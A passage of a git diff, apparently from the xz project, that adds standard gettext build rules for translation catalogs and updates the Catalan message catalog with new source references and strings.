&& \ + $(GMSGFMT) -c --statistics --verbose -o t-$${lang}.gmo $${lang}.1po && \ + mv t-$${lang}.gmo $${lang}.gmo && \ + rm -f $${lang}.1po + +.sin.sed: + sed -e '/^#/d' $< > t-$@ + mv t-$@ $@ + + +all-yes: $(srcdir)/stamp-po +all-no: + +# Ensure that the gettext macros and this Makefile.in.in are in sync. +CHECK_MACRO_VERSION = \ + test "$(GETTEXT_MACRO_VERSION)" = "@GETTEXT_MACRO_VERSION@" \ + || { echo "*** error: gettext infrastructure mismatch: using a Makefile.in.in from gettext version $(GETTEXT_MACRO_VERSION) but the autoconf macros are from gettext version @GETTEXT_MACRO_VERSION@" 1>&2; \ + exit 1; \ + } + +# $(srcdir)/$(DOMAIN).pot is only created when needed. When xgettext finds no +# internationalized messages, no $(srcdir)/$(DOMAIN).pot is created (because +# we don't want to bother translators with empty POT files). We assume that +# LINGUAS is empty in this case, i.e. $(POFILES) and $(GMOFILES) are empty. +# In this case, $(srcdir)/stamp-po is a nop (i.e. a phony target). + +# $(srcdir)/stamp-po is a timestamp denoting the last time at which the CATALOGS +# have been loosely updated. Its purpose is that when a developer or translator +# checks out the package from a version control system, and the $(DOMAIN).pot +# file is not under version control, "make" will update the $(DOMAIN).pot and +# the $(CATALOGS), but subsequent invocations of "make" will do nothing. This +# timestamp would not be necessary if updating the $(CATALOGS) would always +# touch them; however, the rule for $(POFILES) has been designed to not touch +# files that don't need to be changed. +$(srcdir)/stamp-po: $(srcdir)/$(DOMAIN).pot + @$(CHECK_MACRO_VERSION) + test ! -f $(srcdir)/$(DOMAIN).pot || \ + test -z "$(GMOFILES)" || $(MAKE) $(GMOFILES) + @test ! -f $(srcdir)/$(DOMAIN).pot || { \ + echo "touch $(srcdir)/stamp-po" && \ + echo timestamp > $(srcdir)/stamp-poT && \ + mv $(srcdir)/stamp-poT $(srcdir)/stamp-po; \ + } + +# Note: Target 'all' must not depend on target '$(DOMAIN).pot-update', +# otherwise packages like GCC can not be built if only parts of the source +# have been downloaded. + +# This target rebuilds $(DOMAIN).pot; it is an expensive operation. +# Note that $(DOMAIN).pot is not touched if it doesn't need to be changed. +# The determination of whether the package xyz is a GNU one is based on the +# heuristic whether some file in the top level directory mentions "GNU xyz". +# If GNU 'find' is available, we avoid grepping through monster files. +$(DOMAIN).pot-update: $(POTFILES) $(srcdir)/POTFILES.in remove-potcdate.sed + package_gnu="$(PACKAGE_GNU)"; \ + test -n "$$package_gnu" || { \ + if { if (LC_ALL=C find --version) 2>/dev/null | grep GNU >/dev/null; then \ + LC_ALL=C find -L $(top_srcdir) -maxdepth 1 -type f -size -10000000c -exec grep -i 'GNU @PACKAGE@' /dev/null '{}' ';' 2>/dev/null; \ + else \ + LC_ALL=C grep -i 'GNU @PACKAGE@' $(top_srcdir)/* 2>/dev/null; \ + fi; \ + } | grep -v 'libtool:' >/dev/null; then \ + package_gnu=yes; \ + else \ + package_gnu=no; \ + fi; \ + }; \ + if test "$$package_gnu" = "yes"; then \ + package_prefix='GNU '; \ + else \ + package_prefix=''; \ + fi; \ + if test -n '$(MSGID_BUGS_ADDRESS)' || test '$(PACKAGE_BUGREPORT)' = '@'PACKAGE_BUGREPORT'@'; then \ + msgid_bugs_address='$(MSGID_BUGS_ADDRESS)'; \ + else \ + msgid_bugs_address='$(PACKAGE_BUGREPORT)'; \ + fi; \ + case `$(XGETTEXT) --version | sed 1q | sed -e 's,^[^0-9]*,,'` in \ + '' | 0.[0-9] | 0.[0-9].* | 0.1[0-5] | 0.1[0-5].* | 0.16 | 0.16.[0-1]*) \ + $(XGETTEXT) --default-domain=$(DOMAIN) --directory=$(top_srcdir) \ + --add-comments=TRANSLATORS: \ + --files-from=$(srcdir)/POTFILES.in \ + --copyright-holder='$(COPYRIGHT_HOLDER)' \ + --msgid-bugs-address="$$msgid_bugs_address" \ + $(XGETTEXT_OPTIONS) @XGETTEXT_EXTRA_OPTIONS@ \ + ;; \ + *) \ + $(XGETTEXT) --default-domain=$(DOMAIN) --directory=$(top_srcdir) \ + --add-comments=TRANSLATORS: \ + --files-from=$(srcdir)/POTFILES.in \ + --copyright-holder='$(COPYRIGHT_HOLDER)' \ + --package-name="$${package_prefix}@PACKAGE@" \ + --package-version='@VERSION@' \ + --msgid-bugs-address="$$msgid_bugs_address" \ + $(XGETTEXT_OPTIONS) @XGETTEXT_EXTRA_OPTIONS@ \ + ;; \ + esac + test ! -f $(DOMAIN).po || { \ + if test -f $(srcdir)/$(DOMAIN).pot-header; then \ + sed -e '1,/^#$$/d' < $(DOMAIN).po > $(DOMAIN).1po && \ + cat $(srcdir)/$(DOMAIN).pot-header $(DOMAIN).1po > $(DOMAIN).po && \ + rm -f $(DOMAIN).1po \ + || exit 1; \ + fi; \ + if test -f $(srcdir)/$(DOMAIN).pot; then \ + sed -f remove-potcdate.sed < $(srcdir)/$(DOMAIN).pot > $(DOMAIN).1po && \ + sed -f remove-potcdate.sed < $(DOMAIN).po > $(DOMAIN).2po && \ + if cmp $(DOMAIN).1po $(DOMAIN).2po >/dev/null 2>&1; then \ + rm -f $(DOMAIN).1po $(DOMAIN).2po $(DOMAIN).po; \ + else \ + rm -f $(DOMAIN).1po $(DOMAIN).2po $(srcdir)/$(DOMAIN).pot && \ + mv $(DOMAIN).po $(srcdir)/$(DOMAIN).pot; \ + fi; \ + else \ + mv $(DOMAIN).po $(srcdir)/$(DOMAIN).pot; \ + fi; \ + } + +# This rule has no dependencies: we don't need to update $(DOMAIN).pot at +# every "make" invocation, only create it when it is missing. +# Only "make $(DOMAIN).pot-update" or "make dist" will force an update. +$(srcdir)/$(DOMAIN).pot: + $(MAKE) $(DOMAIN).pot-update + +# This target rebuilds a PO file if $(DOMAIN).pot has changed. +# Note that a PO file is not touched if it doesn't need to be changed. +$(POFILES): $(POFILESDEPS) + @test -f $(srcdir)/$(DOMAIN).pot || $(MAKE) $(srcdir)/$(DOMAIN).pot + @lang=`echo $@ | sed -e 's,.*/,,' -e 's/\.po$$//'`; \ + if test -f "$(srcdir)/$${lang}.po"; then \ + test "$(srcdir)" = . && cdcmd="" || cdcmd="cd $(srcdir) && "; \ + echo "$${cdcmd}$(MSGMERGE_UPDATE) --quiet $(MSGMERGE_OPTIONS) --lang=$${lang} --previous $${lang}.po $(DOMAIN).pot"; \ + cd $(srcdir) \ + && { case `$(MSGMERGE_UPDATE) --version | sed 1q | sed -e 's,^[^0-9]*,,'` in \ + '' | 0.[0-9] | 0.[0-9].* | 0.10 | 0.10.*) \ + $(MSGMERGE_UPDATE) $(MSGMERGE_OPTIONS) $${lang}.po $(DOMAIN).pot;; \ + 0.1[1-5] | 0.1[1-5].*) \ + $(MSGMERGE_UPDATE) --quiet $(MSGMERGE_OPTIONS) $${lang}.po $(DOMAIN).pot;; \ + 0.1[6-7] | 0.1[6-7].*) \ + $(MSGMERGE_UPDATE) --quiet $(MSGMERGE_OPTIONS) --previous $${lang}.po $(DOMAIN).pot;; \ + *) \ + $(MSGMERGE_UPDATE) --quiet $(MSGMERGE_OPTIONS) --lang=$${lang} --previous $${lang}.po $(DOMAIN).pot;; \ + esac; \ + }; \ + else \ + $(MAKE) $${lang}.po-create; \ + fi + + +install: install-exec install-data +install-exec: +install-data: install-data-@USE_NLS@ + if test "$(PACKAGE)" = "gettext-tools"; then \ + $(mkdir_p) $(DESTDIR)$(gettextsrcdir); \ + for file in $(DISTFILES.common) Makevars.template; do \ + $(INSTALL_DATA) $(srcdir)/$$file \ + $(DESTDIR)$(gettextsrcdir)/$$file; \ + done; \ + for file in Makevars; do \ + rm -f $(DESTDIR)$(gettextsrcdir)/$$file; \ + done; \ + else \ + : ; \ + fi +install-data-no: all +install-data-yes: all + @catalogs='$(CATALOGS)'; \ + for cat in $$catalogs; do \ + cat=`basename $$cat`; \ + lang=`echo $$cat | sed -e 's/\.gmo$$//'`; \ + dir=$(localedir)/$$lang/LC_MESSAGES; \ + $(mkdir_p) $(DESTDIR)$$dir; \ + if test -r $$cat; then realcat=$$cat; else realcat=$(srcdir)/$$cat; fi; \ + $(INSTALL_DATA) $$realcat $(DESTDIR)$$dir/$(DOMAIN).mo; \ + echo "installing $$realcat as $(DESTDIR)$$dir/$(DOMAIN).mo"; \ + for lc in '' $(EXTRA_LOCALE_CATEGORIES); do \ + if test -n "$$lc"; then \ + if (cd $(DESTDIR)$(localedir)/$$lang && LC_ALL=C ls -l -d $$lc 2>/dev/null) | grep ' -> ' >/dev/null; then \ + link=`cd $(DESTDIR)$(localedir)/$$lang && LC_ALL=C ls -l -d $$lc | sed -e 's/^.* -> //'`; \ + mv $(DESTDIR)$(localedir)/$$lang/$$lc $(DESTDIR)$(localedir)/$$lang/$$lc.old; \ + mkdir $(DESTDIR)$(localedir)/$$lang/$$lc; \ + (cd $(DESTDIR)$(localedir)/$$lang/$$lc.old && \ + for file in *; do \ + if test -f $$file; then \ + ln -s ../$$link/$$file $(DESTDIR)$(localedir)/$$lang/$$lc/$$file; \ + fi; \ + done); \ + rm -f $(DESTDIR)$(localedir)/$$lang/$$lc.old; \ + else \ + if test -d $(DESTDIR)$(localedir)/$$lang/$$lc; then \ + :; \ + else \ + rm -f $(DESTDIR)$(localedir)/$$lang/$$lc; \ + mkdir $(DESTDIR)$(localedir)/$$lang/$$lc; \ + fi; \ + fi; \ + rm -f $(DESTDIR)$(localedir)/$$lang/$$lc/$(DOMAIN).mo; \ + ln -s ../LC_MESSAGES/$(DOMAIN).mo $(DESTDIR)$(localedir)/$$lang/$$lc/$(DOMAIN).mo 2>/dev/null || \ + ln $(DESTDIR)$(localedir)/$$lang/LC_MESSAGES/$(DOMAIN).mo $(DESTDIR)$(localedir)/$$lang/$$lc/$(DOMAIN).mo 2>/dev/null || \ + cp -p $(DESTDIR)$(localedir)/$$lang/LC_MESSAGES/$(DOMAIN).mo $(DESTDIR)$(localedir)/$$lang/$$lc/$(DOMAIN).mo; \ + echo "installing $$realcat link as $(DESTDIR)$(localedir)/$$lang/$$lc/$(DOMAIN).mo"; \ + fi; \ + done; \ + done + +install-strip: install + +installdirs: installdirs-exec installdirs-data +installdirs-exec: +installdirs-data: installdirs-data-@USE_NLS@ + if test "$(PACKAGE)" = "gettext-tools"; then \ + $(mkdir_p) $(DESTDIR)$(gettextsrcdir); \ + else \ + : ; \ + fi +installdirs-data-no: +installdirs-data-yes: + @catalogs='$(CATALOGS)'; \ + for cat in $$catalogs; do \ + cat=`basename $$cat`; \ + lang=`echo $$cat | sed -e 's/\.gmo$$//'`; \ + dir=$(localedir)/$$lang/LC_MESSAGES; \ + $(mkdir_p) $(DESTDIR)$$dir; \ + for lc in '' $(EXTRA_LOCALE_CATEGORIES); do \ + if test -n "$$lc"; then \ + if (cd $(DESTDIR)$(localedir)/$$lang && LC_ALL=C ls -l -d $$lc 2>/dev/null) | grep ' -> ' >/dev/null; then \ + link=`cd $(DESTDIR)$(localedir)/$$lang && LC_ALL=C ls -l -d $$lc | sed -e 's/^.* -> //'`; \ + mv $(DESTDIR)$(localedir)/$$lang/$$lc $(DESTDIR)$(localedir)/$$lang/$$lc.old; \ + mkdir $(DESTDIR)$(localedir)/$$lang/$$lc; \ + (cd $(DESTDIR)$(localedir)/$$lang/$$lc.old && \ + for file in *; do \ + if test -f $$file; then \ + ln -s ../$$link/$$file $(DESTDIR)$(localedir)/$$lang/$$lc/$$file; \ + fi; \ + done); \ + rm -f $(DESTDIR)$(localedir)/$$lang/$$lc.old; \ + else \ + if test -d $(DESTDIR)$(localedir)/$$lang/$$lc; then \ + :; \ + else \ + rm -f $(DESTDIR)$(localedir)/$$lang/$$lc; \ + mkdir $(DESTDIR)$(localedir)/$$lang/$$lc; \ + fi; \ + fi; \ + fi; \ + done; \ + done + +# Define this as empty until I found a useful application. +installcheck: + +uninstall: uninstall-exec uninstall-data +uninstall-exec: +uninstall-data: uninstall-data-@USE_NLS@ + if test "$(PACKAGE)" = "gettext-tools"; then \ + for file in $(DISTFILES.common) Makevars.template; do \ + rm -f $(DESTDIR)$(gettextsrcdir)/$$file; \ + done; \ + else \ + : ; \ + fi +uninstall-data-no: +uninstall-data-yes: + catalogs='$(CATALOGS)'; \ + for cat in $$catalogs; do \ + cat=`basename $$cat`; \ + lang=`echo $$cat | sed -e 's/\.gmo$$//'`; \ + for lc in LC_MESSAGES $(EXTRA_LOCALE_CATEGORIES); do \ + rm -f $(DESTDIR)$(localedir)/$$lang/$$lc/$(DOMAIN).mo; \ + done; \ + done + +check: all + +info dvi ps pdf html tags TAGS ctags CTAGS ID: + +install-dvi install-ps install-pdf install-html: + +mostlyclean: + rm -f remove-potcdate.sed + rm -f $(srcdir)/stamp-poT + rm -f core core.* $(DOMAIN).po $(DOMAIN).1po $(DOMAIN).2po *.new.po + rm -fr *.o + +clean: mostlyclean + +distclean: clean + rm -f Makefile Makefile.in POTFILES + +maintainer-clean: distclean + @echo "This command is intended for maintainers to use;" + @echo "it deletes files that may require special tools to rebuild." + rm -f $(srcdir)/$(DOMAIN).pot $(srcdir)/stamp-po $(GMOFILES) + +distdir = $(top_builddir)/$(PACKAGE)-$(VERSION)/$(subdir) +dist distdir: + test -z "$(DISTFILESDEPS)" || $(MAKE) $(DISTFILESDEPS) + @$(MAKE) dist2 +# This is a separate target because 'update-po' must be executed before. +dist2: $(srcdir)/stamp-po $(DISTFILES) + @dists="$(DISTFILES)"; \ + if test "$(PACKAGE)" = "gettext-tools"; then \ + dists="$$dists Makevars.template"; \ + fi; \ + if test -f $(srcdir)/$(DOMAIN).pot; then \ + dists="$$dists $(DOMAIN).pot stamp-po"; \ + else \ + case $(XGETTEXT) in \ + :) echo "Warning: Creating a tarball without '$(DOMAIN).pot', because a suitable 'xgettext' program was not found in PATH." 1>&2;; \ + *) echo "Warning: Creating a tarball without '$(DOMAIN).pot', because 'xgettext' found no strings to extract. Check the contents of the POTFILES.in file and the XGETTEXT_OPTIONS in the Makevars file." 1>&2;; \ + esac; \ + fi; \ + if test -f $(srcdir)/ChangeLog; then \ + dists="$$dists ChangeLog"; \ + fi; \ + for i in 0 1 2 3 4 5 6 7 8 9; do \ + if test -f $(srcdir)/ChangeLog.$$i; then \ + dists="$$dists ChangeLog.$$i"; \ + fi; \ + done; \ + if test -f $(srcdir)/LINGUAS; then dists="$$dists LINGUAS"; fi; \ + for file in $$dists; do \ + if test -f $$file; then \ + cp -p $$file $(distdir) || exit 1; \ + else \ + cp -p $(srcdir)/$$file $(distdir) || exit 1; \ + fi; \ + done + +update-po: Makefile + $(MAKE) $(DOMAIN).pot-update + test -z "$(UPDATEPOFILES)" || $(MAKE) $(UPDATEPOFILES) + $(MAKE) update-gmo + +# General rule for creating PO files. + +.nop.po-create: + @lang=`echo $@ | sed -e 's/\.po-create$$//'`; \ + echo "File $$lang.po does not exist. If you are a translator, you can create it through 'msginit'." 1>&2; \ + exit 1 + +# General rule for updating PO files. + +.nop.po-update: + @lang=`echo $@ | sed -e 's/\.po-update$$//'`; \ + if test "$(PACKAGE)" = "gettext-tools" && test "$(CROSS_COMPILING)" != "yes"; then PATH=`pwd`/../src:$$PATH; fi; \ + tmpdir=`pwd`; \ + echo "$$lang:"; \ + test "$(srcdir)" = . && cdcmd="" || cdcmd="cd $(srcdir) && "; \ + echo "$${cdcmd}$(MSGMERGE) --quiet $(MSGMERGE_OPTIONS) --lang=$$lang --previous $$lang.po $(DOMAIN).pot -o $$lang.new.po"; \ + cd $(srcdir); \ + if { case `$(MSGMERGE) --version | sed 1q | sed -e 's,^[^0-9]*,,'` in \ + '' | 0.[0-9] | 0.[0-9].* | 0.10 | 0.10.*) \ + $(MSGMERGE) $(MSGMERGE_OPTIONS) -o $$tmpdir/$$lang.new.po $$lang.po $(DOMAIN).pot;; \ + 0.1[1-5] | 0.1[1-5].*) \ + $(MSGMERGE) --quiet $(MSGMERGE_OPTIONS) -o $$tmpdir/$$lang.new.po $$lang.po $(DOMAIN).pot;; \ + 0.1[6-7] | 0.1[6-7].*) \ + $(MSGMERGE) --quiet $(MSGMERGE_OPTIONS) --previous -o $$tmpdir/$$lang.new.po $$lang.po $(DOMAIN).pot;; \ + *) \ + $(MSGMERGE) --quiet $(MSGMERGE_OPTIONS) --lang=$$lang --previous -o $$tmpdir/$$lang.new.po $$lang.po $(DOMAIN).pot;; \ + esac; \ + }; then \ + if cmp $$lang.po $$tmpdir/$$lang.new.po >/dev/null 2>&1; then \ + rm -f $$tmpdir/$$lang.new.po; \ + else \ + if mv -f $$tmpdir/$$lang.new.po $$lang.po; then \ + :; \ + else \ + echo "msgmerge for $$lang.po failed: cannot move $$tmpdir/$$lang.new.po to $$lang.po" 1>&2; \ + exit 1; \ + fi; \ + fi; \ + else \ + echo "msgmerge for $$lang.po failed!" 1>&2; \ + rm -f $$tmpdir/$$lang.new.po; \ + fi + +$(DUMMYPOFILES): + +update-gmo: Makefile $(GMOFILES) + @: + +# Recreate Makefile by invoking config.status. Explicitly invoke the shell, +# because execution permission bits may not work on the current file system. +# Use @SHELL@, which is the shell determined by autoconf for the use by its +# scripts, not $(SHELL) which is hardwired to /bin/sh and may be deficient. +Makefile: Makefile.in.in Makevars $(top_builddir)/config.status @POMAKEFILEDEPS@ + cd $(top_builddir) \ + && @SHELL@ ./config.status $(subdir)/$@.in po-directories + +force: + +# Tell versions [3.59,3.63) of GNU make not to export all variables. +# Otherwise a system limit (for SysV at least) may be exceeded. +.NOEXPORT: diff --git a/po/Rules-quot b/po/Rules-quot new file mode 100644 index 00000000..18c024bf --- /dev/null +++ b/po/Rules-quot @@ -0,0 +1,62 @@ +# Special Makefile rules for English message catalogs with quotation marks. +# +# Copyright (C) 2001-2017 Free Software Foundation, Inc. +# This file, Rules-quot, and its auxiliary files (listed under +# DISTFILES.common.extra1) are free software; the Free Software Foundation +# gives unlimited permission to use, copy, distribute, and modify them. + +DISTFILES.common.extra1 = quot.sed boldquot.sed en@quot.header en@boldquot.header insert-header.sin Rules-quot + +.SUFFIXES: .insert-header .po-update-en + +en@quot.po-create: + $(MAKE) en@quot.po-update +en@boldquot.po-create: + $(MAKE) en@boldquot.po-update + +en@quot.po-update: en@quot.po-update-en +en@boldquot.po-update: en@boldquot.po-update-en + +.insert-header.po-update-en: + @lang=`echo $@ | sed -e 's/\.po-update-en$$//'`; \ + if test "$(PACKAGE)" = "gettext-tools" && test "$(CROSS_COMPILING)" != "yes"; then PATH=`pwd`/../src:$$PATH; GETTEXTLIBDIR=`cd $(top_srcdir)/src && pwd`; export GETTEXTLIBDIR; fi; \ + tmpdir=`pwd`; \ + echo "$$lang:"; \ + ll=`echo $$lang | sed -e 's/@.*//'`; \ + LC_ALL=C; export LC_ALL; \ + cd $(srcdir); \ + if $(MSGINIT) $(MSGINIT_OPTIONS) -i $(DOMAIN).pot --no-translator -l $$lang -o - 2>/dev/null \ + | $(SED) -f $$tmpdir/$$lang.insert-header | $(MSGCONV) -t UTF-8 | \ + { case `$(MSGFILTER) --version | sed 1q | sed -e 's,^[^0-9]*,,'` in \ + '' | 0.[0-9] | 0.[0-9].* | 0.1[0-8] | 0.1[0-8].*) \ + $(MSGFILTER) $(SED) -f `echo $$lang | sed -e 's/.*@//'`.sed \ + ;; \ + *) \ + $(MSGFILTER) `echo $$lang | sed -e 's/.*@//'` \ + ;; \ + esac } 2>/dev/null > $$tmpdir/$$lang.new.po \ + ; then \ + if cmp $$lang.po $$tmpdir/$$lang.new.po >/dev/null 2>&1; then \ + rm -f $$tmpdir/$$lang.new.po; \ + else \ + if mv -f $$tmpdir/$$lang.new.po $$lang.po; then \ + :; \ + else \ + echo "creation of $$lang.po failed: cannot move $$tmpdir/$$lang.new.po to $$lang.po" 1>&2; \ + exit 1; \ + fi; \ + fi; \ + else \ + echo "creation of $$lang.po failed!" 1>&2; \ + rm -f $$tmpdir/$$lang.new.po; \ + fi + +en@quot.insert-header: insert-header.sin + sed -e '/^#/d' -e 's/HEADER/en@quot.header/g' $(srcdir)/insert-header.sin > en@quot.insert-header + +en@boldquot.insert-header: insert-header.sin + sed -e '/^#/d' -e 's/HEADER/en@boldquot.header/g' $(srcdir)/insert-header.sin > en@boldquot.insert-header + +mostlyclean: mostlyclean-quot +mostlyclean-quot: + rm -f *.insert-header diff --git a/po/boldquot.sed b/po/boldquot.sed new file mode 100644 index 00000000..4b937aa5 --- /dev/null +++ b/po/boldquot.sed @@ -0,0 +1,10 @@ +s/"\([^"]*\)"/“\1”/g +s/`\([^`']*\)'/‘\1’/g +s/ '\([^`']*\)' / ‘\1’ /g +s/ '\([^`']*\)'$/ ‘\1’/g +s/^'\([^`']*\)' /‘\1’ /g +s/“”/""/g +s/“/“/g +s/”/”/g +s/‘/‘/g +s/’/’/g diff --git a/po/ca.gmo b/po/ca.gmo new file mode 100644 index 00000000..04977cbe Binary files /dev/null and b/po/ca.gmo differ diff --git a/po/ca.po b/po/ca.po index e1a91d99..05bc2eb2 100644 --- a/po/ca.po +++ b/po/ca.po @@ -6,7 +6,7 @@ msgid "" msgstr "" "Project-Id-Version: xz 5.4.0-pre2\n" "Report-Msgid-Bugs-To: xz@tukaani.org\n" -"POT-Creation-Date: 2022-12-01 21:23+0200\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2022-12-12 18:19+0300\n" "Last-Translator: Jordi Mas i Hernàndez \n" "Language-Team: Catalan \n" @@ -17,127 +17,183 @@ msgstr "" "Plural-Forms: nplurals=2; plural=(n==1) ? 0 : 1;\n" "X-Bugs: Report translation errors to the Language-Team address.\n" -#: src/xz/args.c:64 +#: src/xz/args.c:77 #, c-format msgid "%s: Invalid argument to --block-list" msgstr "%s: argument no vàlid per a --block-list" -#: src/xz/args.c:74 +#: src/xz/args.c:87 #, c-format msgid "%s: Too many arguments to --block-list" msgstr "%s: massa arguments per a --block-list" -#: src/xz/args.c:103 +#: src/xz/args.c:124 +#, c-format +msgid "In --block-list, block size is missing after filter chain number '%c:'" +msgstr "" + +#: src/xz/args.c:150 msgid "0 can only be used as the last element in --block-list" msgstr "0 només es pot utilitzar com a últim element a --block-list" -#: src/xz/args.c:436 +#: src/xz/args.c:539 #, c-format msgid "%s: Unknown file format type" msgstr "%s: tipus de format de fitxer desconegut" -#: src/xz/args.c:459 src/xz/args.c:467 +#: src/xz/args.c:562 src/xz/args.c:570 #, c-format msgid "%s: Unsupported integrity check type" msgstr "%s: tipus de comprovació d'integritat no suportat" -#: src/xz/args.c:503 -msgid "Only one file can be specified with `--files' or `--files0'." +#: src/xz/args.c:606 +#, fuzzy +#| msgid "Only one file can be specified with `--files' or `--files0'." +msgid "Only one file can be specified with '--files' or '--files0'." msgstr "Només es pot especificar un fitxer amb `--files' o `--files0'." -#: src/xz/args.c:571 +#. TRANSLATORS: This is a translatable +#. string because French needs a space +#. before the colon ("%s : %s"). +#: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 +#: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 +#: src/xz/list.c:599 +#, fuzzy, c-format +#| msgid "%s: " +msgid "%s: %s" +msgstr "%s: " + +#: src/xz/args.c:677 #, c-format msgid "The environment variable %s contains too many arguments" msgstr "La variable d'entorn %s conté massa arguments" -#: src/xz/args.c:673 +#: src/xz/args.c:779 msgid "Compression support was disabled at build time" msgstr "El suport de compressió s'ha desactivat en temps de construcció" -#: src/xz/args.c:680 +#: src/xz/args.c:786 msgid "Decompression support was disabled at build time" msgstr "El suport de descompressió s'ha desactivat en temps de construcció" -#: src/xz/args.c:686 +#: src/xz/args.c:792 msgid "Compression of lzip files (.lz) is not supported" msgstr "No s'admet la compressió de fitxers lzip (.lz)" -#: src/xz/coder.c:115 +#: src/xz/args.c:814 +msgid "--block-list is ignored unless compressing to the .xz format" +msgstr "" + +#: src/xz/args.c:827 src/xz/args.c:836 +#, fuzzy +#| msgid "%s: With --format=raw, --suffix=.SUF is required unless writing to stdout" +msgid "With --format=raw, --suffix=.SUF is required unless writing to stdout" +msgstr "%s: amb --format=raw, --suffix=.SUF és necessari si no s'escriu a la sortida estàndard" + +#: src/xz/coder.c:140 msgid "Maximum number of filters is four" msgstr "El nombre màxim de filtres és de quatre" -#: src/xz/coder.c:134 +#: src/xz/coder.c:178 +#, c-format +msgid "Error in --filters%s=FILTERS option:" +msgstr "" + +#: src/xz/coder.c:228 msgid "Memory usage limit is too low for the given filter setup." msgstr "El límit d'ús de la memòria és massa baix per a la configuració del filtre indicat." -#: src/xz/coder.c:169 +#: src/xz/coder.c:243 +#, c-format +msgid "filter chain %u used by --block-list but not specified with --filters%u=" +msgstr "" + +#: src/xz/coder.c:374 msgid "Using a preset in raw mode is discouraged." msgstr "Es desaconsella l'ús d'un predefinit en mode RAW." -#: src/xz/coder.c:171 +#: src/xz/coder.c:376 msgid "The exact options of the presets may vary between software versions." msgstr "Les opcions exactes dels predefinits poden variar entre versions de programari." -#: src/xz/coder.c:194 +#: src/xz/coder.c:402 msgid "The .lzma format supports only the LZMA1 filter" msgstr "El format .lzma només admet el filtre LZMA1" -#: src/xz/coder.c:202 +#: src/xz/coder.c:410 msgid "LZMA1 cannot be used with the .xz format" msgstr "No es pot usar LZMA1 amb el format .xz" -#: src/xz/coder.c:219 -msgid "The filter chain is incompatible with --flush-timeout" +#: src/xz/coder.c:434 +#, fuzzy, c-format +#| msgid "The filter chain is incompatible with --flush-timeout" +msgid "Filter chain %u is incompatible with --flush-timeout" msgstr "La cadena de filtratge és incompatible amb --flush-timeout" -#: src/xz/coder.c:225 +#: src/xz/coder.c:443 msgid "Switching to single-threaded mode due to --flush-timeout" msgstr "Es canvia al mode d'un sol fil a causa de --flush-timeout" -#: src/xz/coder.c:249 +#: src/xz/coder.c:484 +#, fuzzy, c-format +#| msgid "Unsupported options" +msgid "Unsupported options in filter chain %u" +msgstr "Opcions no suportades" + +#: src/xz/coder.c:515 #, c-format msgid "Using up to % threads." msgstr "S'utilitzen fins a % fils." -#: src/xz/coder.c:265 +#: src/xz/coder.c:531 msgid "Unsupported filter chain or filter options" msgstr "Cadena de filtre no suportada o opcions de filtre" -#: src/xz/coder.c:277 +#: src/xz/coder.c:552 #, c-format msgid "Decompression will need %s MiB of memory." msgstr "La descompressió necessitarà %s MiB de memòria." -#: src/xz/coder.c:309 +#: src/xz/coder.c:584 #, c-format msgid "Reduced the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" msgstr "S'ha reduït el nombre de fils de %s a %s per a no excedir el límit d'ús de memòria de %s MiB" -#: src/xz/coder.c:329 +#: src/xz/coder.c:604 #, c-format msgid "Reduced the number of threads from %s to one. The automatic memory usage limit of %s MiB is still being exceeded. %s MiB of memory is required. Continuing anyway." msgstr "S'ha reduït el nombre de fils de %s a un. El límit d'ús automàtic de memòria de %s MiB encara s'està excedint. Es requereix %s MiB de memòria. Es continua igualment." -#: src/xz/coder.c:356 +#: src/xz/coder.c:631 #, c-format msgid "Switching to single-threaded mode to not exceed the memory usage limit of %s MiB" msgstr "S'està canviant al mode d'un sol fil per a no excedir el límit d'ús de la memòria de %s MiB" -#: src/xz/coder.c:411 +#: src/xz/coder.c:756 #, c-format msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" msgstr "S'ha ajustat la mida del diccionari LZMA%c de %s MiB a %s MiB per a no excedir el límit d'ús de memòria de %s MiB" -#: src/xz/file_io.c:110 src/xz/file_io.c:118 +#: src/xz/coder.c:766 +#, fuzzy, c-format +#| msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgid "Adjusted LZMA%c dictionary size for --filters%u from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgstr "S'ha ajustat la mida del diccionari LZMA%c de %s MiB a %s MiB per a no excedir el límit d'ús de memòria de %s MiB" + +#: src/xz/coder.c:1140 +#, fuzzy, c-format +#| msgid "Error creating a pipe: %s" +msgid "Error changing to filter chain %u: %s" +msgstr "S'ha produït un error en crear una canonada: %s" + +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "S'ha produït un error en crear una canonada: %s" -#: src/xz/file_io.c:235 -msgid "Failed to enable the sandbox" -msgstr "No s'ha pogut habilitar l'espai aïllat" - -#: src/xz/file_io.c:277 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s: ha fallat la funció poll(): %s" @@ -152,252 +208,252 @@ msgstr "%s: ha fallat la funció poll(): %s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:344 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s: sembla que el fitxer s'ha mogut, no s'elimina" -#: src/xz/file_io.c:351 src/xz/file_io.c:907 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s: no es pot eliminar: %s" -#: src/xz/file_io.c:377 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s: no es pot establir el propietari del fitxer: %s" -#: src/xz/file_io.c:390 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s: no es pot establir el grup de fitxers: %s" -#: src/xz/file_io.c:409 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s: no es poden establir els permisos del fitxer: %s" -#: src/xz/file_io.c:535 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "S'ha produït un 